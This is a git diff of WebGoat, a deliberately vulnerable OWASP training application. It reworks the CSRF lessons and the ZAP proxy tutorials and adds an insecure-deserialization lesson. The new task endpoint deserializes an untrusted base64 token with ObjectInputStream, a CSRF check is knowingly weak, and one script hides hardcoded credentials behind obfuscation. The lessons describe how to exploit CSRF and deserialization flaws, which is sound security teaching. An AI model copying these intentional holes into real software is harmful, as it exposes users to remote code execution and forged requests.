b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFFeedback.java @@ -40,7 +40,7 @@ public class CSRFFeedback extends AssignmentEndpoint { try { objectMapper.readValue(feedback.getBytes(), Map.class); } catch (IOException e) { - return failed().feedback(ExceptionUtils.getStackTrace(e)).build(); + return failed().feedback(ExceptionUtils.getStackTrace(e)).build(); } boolean correctCSRF = requestContainsWebGoatCookie(request.getCookies()) && request.getContentType().equals(MediaType.TEXT_PLAIN_VALUE); correctCSRF &= hostOrRefererDifferentHost(request); @@ -64,8 +64,12 @@ public class CSRFFeedback extends AssignmentEndpoint { private boolean hostOrRefererDifferentHost(HttpServletRequest request) { String referer = request.getHeader("referer"); - String host = request.getHeader("host"); - return !StringUtils.contains(referer, host); + String origin = request.getHeader("origin"); + if (referer != null) { + return !referer.contains(origin); + } else { + return true; //this case referer is null or origin does not matter we cannot compare so we return true which should of course be false + } } private boolean requestContainsWebGoatCookie(Cookie[] cookies) { diff --git a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetFlag.java b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetFlag.java index 56fdde8d6..ecc486b7f 100644 --- a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetFlag.java +++ b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetFlag.java @@ -31,7 +31,7 @@ public class CSRFGetFlag extends Endpoint { @ResponseBody public Map invoke(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { - Map response = new HashMap<>(); + Map response = new HashMap<>(); String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host"); // String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin"); @@ -40,22 +40,32 @@ public class CSRFGetFlag extends Endpoint { String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer"); String[] refererArr = referer.split("/"); - if (referer.equals("NULL") && req.getParameter("csrf").equals("true")) { - Random random = new Random(); - userSessionData.setValue("csrf-get-success", random.nextInt(65536)); - response.put("success",true); - response.put("message",pluginMessages.getMessage("csrf-get-null-referer.success")); - response.put("flag",userSessionData.getValue("csrf-get-success")); - } else if (refererArr[2].equals(host)) { + + + if (referer.equals("NULL")) { + if (req.getParameter("csrf").equals("true")) { + Random random = new Random(); + userSessionData.setValue("csrf-get-success", random.nextInt(65536)); + response.put("success", true); + response.put("message", pluginMessages.getMessage("csrf-get-null-referer.success")); + response.put("flag", userSessionData.getValue("csrf-get-success")); + } else { + Random random = new Random(); + userSessionData.setValue("csrf-get-success", random.nextInt(65536)); + response.put("success", true); + response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success")); + response.put("flag", userSessionData.getValue("csrf-get-success")); + } + } else if (refererArr[2].equals(host)) { response.put("success", false); response.put("message", "Appears the request came from the original host"); response.put("flag", null); } else { Random random = new Random(); userSessionData.setValue("csrf-get-success", random.nextInt(65536)); - response.put("success",true); - response.put("message",pluginMessages.getMessage("csrf-get-other-referer.success")); - response.put("flag",userSessionData.getValue("csrf-get-success")); + response.put("success", true); + response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success")); + response.put("flag", userSessionData.getValue("csrf-get-success")); } return response; diff --git a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetXhrFlag.java b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetXhrFlag.java deleted file mode 100644 index f7f2e246d..000000000 --- a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetXhrFlag.java +++ /dev/null @@ -1,69 +0,0 @@ -package org.owasp.webgoat.plugin; - -import org.owasp.webgoat.assignments.Endpoint; -import org.owasp.webgoat.i18n.PluginMessages; -import org.owasp.webgoat.session.UserSessionData; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RequestMethod; -import org.springframework.web.bind.annotation.ResponseBody; - -import javax.servlet.ServletException; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.IOException; -import java.util.HashMap; -import java.util.Map; -import java.util.Random; - -/** - * Created by jason on 9/30/17. - */ - -public class CSRFGetXhrFlag extends Endpoint { - - @Autowired - UserSessionData userSessionData; - @Autowired - private PluginMessages pluginMessages; - - @RequestMapping(produces = {"application/json"}, method = RequestMethod.GET) - @ResponseBody - public Map invoke(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { - - Map response = new HashMap<>(); - - String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host"); -// String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin"); -// Integer serverPort = (req.getServerPort() < 1) ? 0 : req.getServerPort(); -// String serverName = (req.getServerName() == null) ? "NULL" : req.getServerName(); - String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer"); - String[] refererArr = referer.split("/"); - - if (referer.equals("NULL") && req.getParameter("csrf").equals("true")) { - Random random = new Random(); - userSessionData.setValue("csrf-get-success", random.nextInt(65536)); - response.put("success",true); - response.put("message",pluginMessages.getMessage("csrf-get-null-referer.success")); - response.put("flag",userSessionData.getValue("csrf-get-success")); - } else if (refererArr[2].equals(host)) { - response.put("success", false); - response.put("message", "Appears the request came from the original host"); - response.put("flag", null); - } else { - Random random = new Random(); - userSessionData.setValue("csrf-get-success", random.nextInt(65536)); - response.put("success",true); - response.put("message",pluginMessages.getMessage("csrf-get-other-referer.success")); - response.put("flag",userSessionData.getValue("csrf-get-success")); - } - - return response; - - } - - @Override - public String getPath() { - return "/csrf/get-xhr-flag"; - } -} diff --git a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/ForgedReviews.java b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/ForgedReviews.java index b3305b415..f27684843 100644 --- a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/ForgedReviews.java +++ b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/ForgedReviews.java @@ -115,22 +115,13 @@ public class ForgedReviews extends AssignmentEndpoint { userReviews.put(webSession.getUserName(), reviews); //short-circuit if (validateReq == null || !validateReq.equals(weakAntiCSRF)) { - return failed().feedback("csrf-you-forgot-something").build(); + return trackProgress(failed().feedback("csrf-you-forgot-something").build()); } //we have the spoofed files if (referer != "NULL" && refererArr[2].equals(host) ) { - return (failed().feedback("csrf-same-host").build()); + return trackProgress(failed().feedback("csrf-same-host").build()); } else { - return (success().feedback("csrf-review.success").build()); //feedback("xss-stored-comment-failure") - } - } - - private Review parseJson(String comment) { - ObjectMapper mapper = new ObjectMapper(); - try { - return mapper.readValue(comment, Review.class); - } catch (IOException e) { - return new Review(); + return trackProgress(success().feedback("csrf-review.success").build()); //feedback("xss-stored-comment-failure") } } } diff --git a/webgoat-lessons/csrf/src/main/resources/html/CSRF.html b/webgoat-lessons/csrf/src/main/resources/html/CSRF.html index 0e56a7c31..fc7463461 100644 --- a/webgoat-lessons/csrf/src/main/resources/html/CSRF.html +++ b/webgoat-lessons/csrf/src/main/resources/html/CSRF.html @@ -15,6 +15,7 @@
    @@ -26,10 +27,12 @@
    +
    +
    - +
    +
    +
    +
    @@ -56,9 +62,9 @@ -
    -
    + +
    @@ -133,65 +139,71 @@ padding: 7px; margin-top:7px; padding:5px;"> -
    -
    -
    -
    -
    -
    -
    -
    -
    - - -
    -
    - -
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    + + +
    +
    + +
    -
    +
    +
    +
    + + +
    -
    - - +
    +
    + + +
    +
    +
    +
    -
    -
    - - -
    -
    -
    - -
    -
    - + +
    +
    +
    @@ -211,7 +223,6 @@ -
    diff --git a/webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties index 5571650f5..81ac02495 100644 --- a/webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties @@ -20,7 +20,7 @@ csrf-review-hint3=This one has a weak anti-CSRF protection, but you do need to o csrf-feedback-hint1=Look at the content-type. csrf-feedback-hint2=Try to post the same message with content-type text/plain -csrf-feedback-hint3=The json can be put into a hidden field inside +csrf-feedback-hint3=The json can be put into a hidden field inside csrf-feedback-invalid-json=Invalid JSON received. csrf-feedback-success=Congratulations you have found the correct solution, the flag is: {0} diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc index dff9a78c1..43b9d31f6 100644 --- a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc +++ b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc @@ -13,9 +13,14 @@ match and this will ensure the server the request is running on the same domain. Remember the session cookie should always be defined with http-only flag. -Another effective defense can be to add a custom request header to each call. This will work if all the interactions +== Custom headers not safe + +Another defense can be to add a custom request header to each call. This will work if all the interactions with the server are performed with JavaScript. On the server side you only need to check the presence of this header if this header is not present deny the request. +Some frameworks offer this implementation by default however researcer Alex Infuhr found out that this can be bypassed +as well. You can read about: http://insert-blogspot.nl/2018/05/adobe-reader-pdf-client-side-request.html?m=1[Adobe Reader PDF - Client Side Request Injection] + diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc index f1faab81b..c6ef48c1c 100644 --- a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc +++ b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc @@ -4,7 +4,20 @@ The impact is limited only by what the logged in user can do (if the site/functi The areas that are really prone to CSRF attacks are IoT devices and 'smart' appliances. Sadly, many consumer-grade routers have also proven vulnerable to CSRF. -== CSRF Solution +== CSRF solutions + +=== Same site cookie attribute + +This is a new extension which modern browsers support which limits the scope of the cookie such that it will only be +attached to requests if those requests are 'same-site' +For example requests for `http://webgoat.org/something` will attach same-site cookies if the request is initiated from +`webgoat.org`. +There are two modes, strict and lax. The first one does not allow cross site request, this means when you are on +github.com and you want to like it through Facebook (and Facebook specifies same-site as strict) you will be +redirected to the login page, because the browser does not attach the cookie for Facebook. +More information can be found here: www.sjoerdlangkemper.nl/2016/04/14/preventin-csrf-with-samesite-cookie-attribute/ + +=== Other protections Fortunately, many (web) application frameworks now come with built in support to handle CSRF attacks. For example, Spring and Tomcat have this on by default. As long as you don't turn it off (like it is in WebGoat), you should be safe from CSRF attacks. diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_JSON.adoc b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_JSON.adoc index bcf7be949..41e8e3d4c 100644 --- a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_JSON.adoc +++ b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_JSON.adoc @@ -3,7 +3,7 @@ A lot of web applications implement no protection against CSRF they are somehow protected by the fact that they only work with `application/json` as content type. The only way to make a request with this content-type from the browser is with a XHR request. Before the browser can make such a request a preflight request will be made towards -the server (remember the CSRF request will be cross origin). If the preflight response does not allow the cross origin +the server (remember the CSRF request will be cross origin). If the pre-flight response does not allow the cross origin request the browser will not make the call. To make a long answer short: this is *not* a valid protection against CSRF. diff --git a/webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/plugin/CSRFFeedbackTest.java b/webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/plugin/CSRFFeedbackTest.java index 98c44077f..495a2cf9b 100644 --- a/webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/plugin/CSRFFeedbackTest.java +++ b/webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/plugin/CSRFFeedbackTest.java @@ -46,13 +46,10 @@ public class CSRFFeedbackTest extends LessonTest { mockMvc.perform(post("/csrf/feedback/message") .contentType(MediaType.TEXT_PLAIN) .cookie(new Cookie("JSESSIONID", "test")) - .header("host", "localhost:8080") + .header("origin", "localhost:8080") .header("referer", "webgoat.org") .content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}")) .andExpect(jsonPath("lessonCompleted", is(true))) .andExpect(jsonPath("feedback", StringContains.containsString("the flag is: "))); } - - - } \ No newline at end of file diff --git a/webgoat-lessons/html-tampering/pom.xml b/webgoat-lessons/html-tampering/pom.xml index f90a5c862..2c7fe60c0 100755 --- a/webgoat-lessons/html-tampering/pom.xml +++ b/webgoat-lessons/html-tampering/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.SNAPSHOT diff --git a/webgoat-lessons/http-basics/pom.xml b/webgoat-lessons/http-basics/pom.xml index a77c8e0a0..9fdf8d13b 100644 --- a/webgoat-lessons/http-basics/pom.xml +++ b/webgoat-lessons/http-basics/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.SNAPSHOT diff --git a/webgoat-lessons/http-proxies/pom.xml b/webgoat-lessons/http-proxies/pom.xml index 0c656a7ff..a78c58090 100644 --- a/webgoat-lessons/http-proxies/pom.xml +++ b/webgoat-lessons/http-proxies/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.SNAPSHOT diff --git a/webgoat-lessons/http-proxies/src/main/java/org/owasp/webgoat/plugin/HttpBasicsInterceptRequest.java b/webgoat-lessons/http-proxies/src/main/java/org/owasp/webgoat/plugin/HttpBasicsInterceptRequest.java index e39670e57..3c7d42f44 100644 --- a/webgoat-lessons/http-proxies/src/main/java/org/owasp/webgoat/plugin/HttpBasicsInterceptRequest.java +++ b/webgoat-lessons/http-proxies/src/main/java/org/owasp/webgoat/plugin/HttpBasicsInterceptRequest.java @@ -48,7 +48,7 @@ public class HttpBasicsInterceptRequest extends AssignmentEndpoint { @RequestMapping(method = RequestMethod.GET) public @ResponseBody - AttackResult completed(HttpServletRequest request) throws IOException { + AttackResult completed(HttpServletRequest request) { String header = null; String param = null; if (request != null && (header = request.getHeader("x-request-intercepted")) != null diff --git a/webgoat-lessons/http-proxies/src/main/resources/html/HttpProxies.html b/webgoat-lessons/http-proxies/src/main/resources/html/HttpProxies.html index 595c7f960..fa4928b6e 100644 --- a/webgoat-lessons/http-proxies/src/main/resources/html/HttpProxies.html +++ b/webgoat-lessons/http-proxies/src/main/resources/html/HttpProxies.html @@ -3,36 +3,27 @@
    - -
    - -
    - -
    -
    - - +
    -
    +
    + +
    +
    + +
    +
    +
    diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap_edit_and_resend.png b/webgoat-lessons/http-proxies/src/main/resources/images/zap_edit_and_resend.png new file mode 100644 index 000000000..e604cbd2a Binary files /dev/null and b/webgoat-lessons/http-proxies/src/main/resources/images/zap_edit_and_resend.png differ diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap_edit_and_response.png b/webgoat-lessons/http-proxies/src/main/resources/images/zap_edit_and_response.png new file mode 100644 index 000000000..88699edca Binary files /dev/null and b/webgoat-lessons/http-proxies/src/main/resources/images/zap_edit_and_response.png differ diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap_edit_and_send.png b/webgoat-lessons/http-proxies/src/main/resources/images/zap_edit_and_send.png new file mode 100644 index 000000000..968db6dda Binary files /dev/null and b/webgoat-lessons/http-proxies/src/main/resources/images/zap_edit_and_send.png differ diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap_exclude.png b/webgoat-lessons/http-proxies/src/main/resources/images/zap_exclude.png new file mode 100644 index 000000000..63ac4bc61 Binary files /dev/null and b/webgoat-lessons/http-proxies/src/main/resources/images/zap_exclude.png differ diff --git a/webgoat-lessons/http-proxies/src/main/resources/images/zap_exclude_url.png b/webgoat-lessons/http-proxies/src/main/resources/images/zap_exclude_url.png new file mode 100644 index 000000000..592afc090 Binary files /dev/null and b/webgoat-lessons/http-proxies/src/main/resources/images/zap_exclude_url.png differ diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/HttpBasics_ProxyIntro4.adoc b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/HttpBasics_ProxyIntro4.adoc index db925accf..afb51ed06 100644 --- a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/HttpBasics_ProxyIntro4.adoc +++ b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/HttpBasics_ProxyIntro4.adoc @@ -1,26 +1,25 @@ -=== Use the intercept +=== Exclude WebGoat internal requests -To intercept a request, you start by clicking the green button. This will set a break point for the next request. +Before we start diving into intercepting requests with ZAP we need to exclude the internal requests from the WebGoat +framework otherwise ZAP will also stop at all the requests which are only necessary for the internal working of WebGoat. -image::images/proxy-intercept-button.png[Set break/intercept button,style="lesson-image"] +Right click on one of the links in history tab and select: `Exclude from -> Proxy`, see image below: + +image::images/zap_exclude.png[Select URL from history,style="lesson-image"] + +{nbsp} + +A new window will open and add the following entries: + +``` +http://localhost:8080/WebGoat/service/.* +http://localhost:8080/WebGoat/.*.lesson.lesson +``` + +Click Ok to close the window, ZAP will now no longer proxy internal WebGoat requests. -*NOTE*: It is also possible set breakpoints that are triggered on conditions. That won't be covered in this lesson though. You are encouraged to explore. -That's part of what hackers do ... explore! +image::images/zap_exclude_url.png[Exclude internal APIs from WebGoat,style="lesson-image"] -Once you are intercepting requests and a request is made, it should look something like this: -image::images/proxy-intercept-details.png[ZAP history tab,style="lesson-image"] -=== Intercept and modify a request - -Set up the intercept as noted above and then submit the form/request below by clicking the submit button. When you request is intercepted (hits the breakpoint), -modify it as follows. - -* Change the Method to GET -* Add a header 'x-request-intercepted:true' -* Change the input value 'changeMe' to 'Requests are tampered easily' (without the single quotes) - -Then let the request continue through (by hitting the play button). - -NOTE: The two play buttons behave a little differently, but we'll let you tinker and figure that out for yourself. \ No newline at end of file diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/HttpBasics_ProxyIntro5.adoc b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/HttpBasics_ProxyIntro5.adoc new file mode 100644 index 000000000..db925accf --- /dev/null +++ b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/HttpBasics_ProxyIntro5.adoc @@ -0,0 +1,26 @@ +=== Use the intercept + +To intercept a request, you start by clicking the green button. This will set a break point for the next request. + +image::images/proxy-intercept-button.png[Set break/intercept button,style="lesson-image"] + + +*NOTE*: It is also possible set breakpoints that are triggered on conditions. That won't be covered in this lesson though. You are encouraged to explore. +That's part of what hackers do ... explore! + +Once you are intercepting requests and a request is made, it should look something like this: + +image::images/proxy-intercept-details.png[ZAP history tab,style="lesson-image"] + +=== Intercept and modify a request + +Set up the intercept as noted above and then submit the form/request below by clicking the submit button. When you request is intercepted (hits the breakpoint), +modify it as follows. + +* Change the Method to GET +* Add a header 'x-request-intercepted:true' +* Change the input value 'changeMe' to 'Requests are tampered easily' (without the single quotes) + +Then let the request continue through (by hitting the play button). + +NOTE: The two play buttons behave a little differently, but we'll let you tinker and figure that out for yourself. \ No newline at end of file diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/HttpBasics_ProxyIntro6.adoc b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/HttpBasics_ProxyIntro6.adoc new file mode 100644 index 000000000..7a90ef913 --- /dev/null +++ b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/HttpBasics_ProxyIntro6.adoc @@ -0,0 +1,29 @@ +=== Use the "Edit and resend" functionality in ZAP + +Another way to send a request again instead of clicking in WebGoat on a button and intercept the request there is also +an option to resend the same request again from within ZAP. +This may significantly help you to solve an assignment because you do not have to switch to ZAP enable the intercept button +and go back to WebGoat and perform the request again from within the browser. + +Let's look at an example, we are going to use the e-mail example from the WebWolf introduction lesson. This lesson +will generate a request for `/WebGoat/WebWolf/mail`, in the "History" window select the URL you want to resend right click +on the URL and select `Open/Resend with Request Editor`. You can also find the request in the left pane of ZAP as indicated +with the red arrow in the image below: + +image::images/zap_edit_and_resend.png[Open/Resend with Request Editor,style="lesson-image"] + +{nbsp} + +A new window will open and here you can modify the request for example change the e-mail address to someone else and send it again. +In the response tab you can inspect the response of the request. In some assignments the response will show a solved message +but sometimes you get a code/flag which you need to submit in WebGoat in order to complete the assignment. Always be on the +lookout for the response. If you solved the assignment by make a request in this way WebGoat will automatically mark +the lesson as solved. + +image::images/zap_edit_and_send.png[Open/Resend with Request Editor,style="lesson-image"] + +{nbsp} + +image::images/zap_edit_and_response.png[Open/Resend response,style="lesson-image"] + + diff --git a/webgoat-lessons/idor/pom.xml b/webgoat-lessons/idor/pom.xml index 0dd3ab28f..6620f6920 100644 --- a/webgoat-lessons/idor/pom.xml +++ b/webgoat-lessons/idor/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.SNAPSHOT \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/pom.xml b/webgoat-lessons/insecure-deserialization/pom.xml new file mode 100755 index 000000000..68a95c885 --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/pom.xml @@ -0,0 +1,27 @@ + + 4.0.0 + insecure-deserialization + jar + + org.owasp.webgoat.lesson + webgoat-lessons-parent + v8.0.0.SNAPSHOT + + + + + org.springframework.boot + spring-boot-starter-test + test + + + org.springframework.security + spring-security-test + 4.1.3.RELEASE + test + + + + + diff --git a/webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/plugin/InsecureDeserialization.java b/webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/plugin/InsecureDeserialization.java new file mode 100755 index 000000000..a992b6de6 --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/plugin/InsecureDeserialization.java @@ -0,0 +1,63 @@ +package org.owasp.webgoat.plugin; + +import com.beust.jcommander.internal.Lists; +import org.owasp.webgoat.lessons.Category; +import org.owasp.webgoat.lessons.NewLesson; + +import java.util.List; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + *

    + * Copyright (c) 2002 - 20014 Bruce Mayhew + *

    + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + *

    + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + *

    + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + *

    + * Getting Source ============== + *

    + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software + * projects. + *

    + * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +public class InsecureDeserialization extends NewLesson { + @Override + public Category getDefaultCategory() { + return Category.INSECURE_DESERIALIZATION; + } + + @Override + public List getHints() { + return Lists.newArrayList(); + } + + @Override + public Integer getDefaultRanking() { + return 1; + } + + @Override + public String getTitle() { + return "insecure-deserialization.title"; + } + + @Override + public String getId() { + return "InsecureDeserialization"; + } +} diff --git a/webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/plugin/InsecureDeserializationTask.java b/webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/plugin/InsecureDeserializationTask.java new file mode 100755 index 000000000..39558864a --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/plugin/InsecureDeserializationTask.java @@ -0,0 +1,90 @@ +package org.owasp.webgoat.plugin; + +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.ByteArrayInputStream; +import java.util.Base64; + +/** + * ************************************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 20014 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * For details, please see http://webgoat.github.io + * + * @author Bruce Mayhew WebGoat + * @created October 28, 2003 + */ +@AssignmentPath("/InsecureDeserialization/task") +public class InsecureDeserializationTask extends AssignmentEndpoint { + + @RequestMapping(method = RequestMethod.POST) + public + @ResponseBody + AttackResult completed(@RequestParam String token) throws IOException { + String b64token; + byte [] data; + ObjectInputStream ois; + Object o; + long before, after; + int delay; + + b64token = token.replace('-', '+').replace('_', '/'); + try { + data = Base64.getDecoder().decode(b64token); + ois = new ObjectInputStream( new ByteArrayInputStream(data) ); + } catch (Exception e) { + return trackProgress(failed().build()); + } + + before = System.currentTimeMillis(); + try { + o = ois.readObject(); + } catch (Exception e) { + o = null; + } + after = System.currentTimeMillis(); + ois.close(); + + delay = (int)(after - before); + if ( delay > 7000 ) { + return trackProgress(failed().build()); + } + if ( delay < 3000 ) { + return trackProgress(failed().build()); + } + return trackProgress(success().build()); + } +} diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html b/webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html new file mode 100755 index 000000000..5bdb4cd5a --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html @@ -0,0 +1,41 @@ + + + + +

    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    + +
    +
    +
    + + + + + + + +
    +
    +
    +
    + diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/insecure-deserialization/src/main/resources/i18n/WebGoatLabels.properties new file mode 100755 index 000000000..53e252b67 --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/i18n/WebGoatLabels.properties @@ -0,0 +1,4 @@ +insecure-deserialization.title=Insecure Deserialization + +insecure-deserialization.intercept.success=Dangerous object received! +insecure-deserialization.intercept.failure=Try again \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/js/credentials.js b/webgoat-lessons/insecure-deserialization/src/main/resources/js/credentials.js new file mode 100755 index 000000000..b7387c623 --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/js/credentials.js @@ -0,0 +1,6 @@ +function submit_secret_credentials() { + var xhttp = new XMLHttpRequest(); + xhttp['open']('POST', '#attack/307/100', true); + //sending the request is obfuscated, to descourage js reading + var _0xb7f9=["\x43\x61\x70\x74\x61\x69\x6E\x4A\x61\x63\x6B","\x42\x6C\x61\x63\x6B\x50\x65\x61\x72\x6C","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x73\x65\x6E\x64"];xhttp[_0xb7f9[3]](JSON[_0xb7f9[2]]({username:_0xb7f9[0],password:_0xb7f9[1]})) +} \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_GadgetChain.adoc b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_GadgetChain.adoc new file mode 100644 index 000000000..f5c5363d3 --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_GadgetChain.adoc @@ -0,0 +1,5 @@ +== What is a Gadgets Chain + +It is weird (but it could happen) to find a gadget that runs dangerous actions itself when is deserialized. However, it is much easier to find a gadget that runs action on other gadget when it is deserializaded, and that second gadget runs more actions on a third gadget, and so on until a real dangerous action is triggered. That set of gadgets that can be used in a deserialization process to achieve dangerous actions is called "Gadget Chain". + +Finding gadgets to build gadget chains is an active topic for security researchers. This kind of research usually requires to spend a big amount of time reading code. \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Intro.adoc b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Intro.adoc new file mode 100755 index 000000000..60882a9f4 --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Intro.adoc @@ -0,0 +1,10 @@ + +== Concept + +This lesson describes what is Serialization and how it can be manipulated to perform tasks that were not the original intent of the developer. + +== Goals +* The user should have a basic understanding of Java programming language +* The user will be able to detect insecure deserialization vulnerabilities +* The user will be able to exploit insecure deserialization vulnerabilities +* Exploiting deserialization is slightly different in other programming languages such as PHP or Python, but the key concepts learnt here also applies to all of them \ 